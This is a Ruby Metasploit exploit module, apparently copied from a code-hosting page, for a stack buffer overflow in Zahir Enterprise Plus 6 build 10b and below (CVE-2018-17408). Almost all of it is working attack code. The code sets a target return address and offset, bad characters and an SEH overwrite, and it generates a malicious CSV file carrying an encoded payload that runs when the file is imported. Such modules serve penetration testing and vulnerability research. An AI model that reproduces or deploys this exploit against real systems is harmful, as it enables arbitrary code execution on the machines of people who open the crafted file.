cgranleese-r7
74 lines
2.1 KiB
Ruby
74 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
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'Description' => %q{
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This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
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The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
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via Import from other File. This results in overwriting a structured exception handler record.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'f3ci', # initial discovery
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'modpr0be' # poc and Metasploit Module
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],
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'References' => [
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[ 'CVE', '2018-17408' ],
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[ 'EDB', '45505' ]
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],
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'Platform' => 'win',
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'Targets' => [
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[
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'Zahir Enterprise Plus 6 <= build 10b',
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{
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# P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
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'Ret' => 0x52016661,
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'Offset' => 3041
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}
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]
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],
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'Payload' => {
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'Space' => 5000,
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'BadChars' => "\x00\x0a\x0d\x22\x2c",
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'DisableNops' => true
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},
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'DisclosureDate' => '2018-09-28',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
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]
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)
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end
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def exploit
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buf = rand_text_alpha_upper(target['Offset'])
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buf << "\r\n" # crash chars
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buf << rand_text_alpha_upper(380) # extra chars to hit the offset
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buf << generate_seh_record(target.ret)
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buf << payload.encoded
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file_create(buf)
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end
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end
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